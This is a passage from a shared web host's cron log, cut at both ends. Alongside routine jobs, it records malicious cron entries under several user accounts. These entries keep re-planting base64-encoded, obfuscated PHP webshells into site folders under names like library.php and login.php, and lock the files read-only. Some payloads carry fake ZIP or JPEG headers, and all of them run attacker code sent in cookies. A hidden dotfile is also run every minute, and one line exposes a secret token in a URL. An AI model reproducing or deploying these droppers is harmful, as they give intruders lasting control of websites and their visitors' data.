ICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:41:02 medusa CROND[5779]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:41:02 medusa CROND[5778]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:41:02 medusa CROND[5781]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:41:02 medusa CROND[5782]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:41:02 medusa CROND[5780]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:41:02 medusa CROND[5783]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:41:02 medusa CROND[5786]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:41:02 medusa CROND[5791]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:41:02 medusa CROND[5795]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:41:02 medusa CROND[5799]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:41:02 medusa CROND[5793]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:42:01 medusa CROND[27382]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:42:01 medusa CROND[27509]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:42:01 medusa CROND[27514]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:42:01 medusa CROND[27516]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:42:01 medusa CROND[27517]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:42:01 medusa CROND[27515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:42:01 medusa CROND[27519]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:42:01 medusa CROND[27518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:42:01 medusa CROND[27521]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:42:01 medusa CROND[27524]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:42:01 medusa CROND[27523]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:42:01 medusa CROND[27532]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:42:01 medusa CROND[27533]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:43:01 medusa CROND[17119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:43:01 medusa CROND[17266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:43:01 medusa CROND[17267]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 15:43:01 medusa CROND[17268]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:43:01 medusa CROND[17269]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:43:01 medusa CROND[17270]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:43:01 medusa CROND[17272]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:43:01 medusa CROND[17276]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 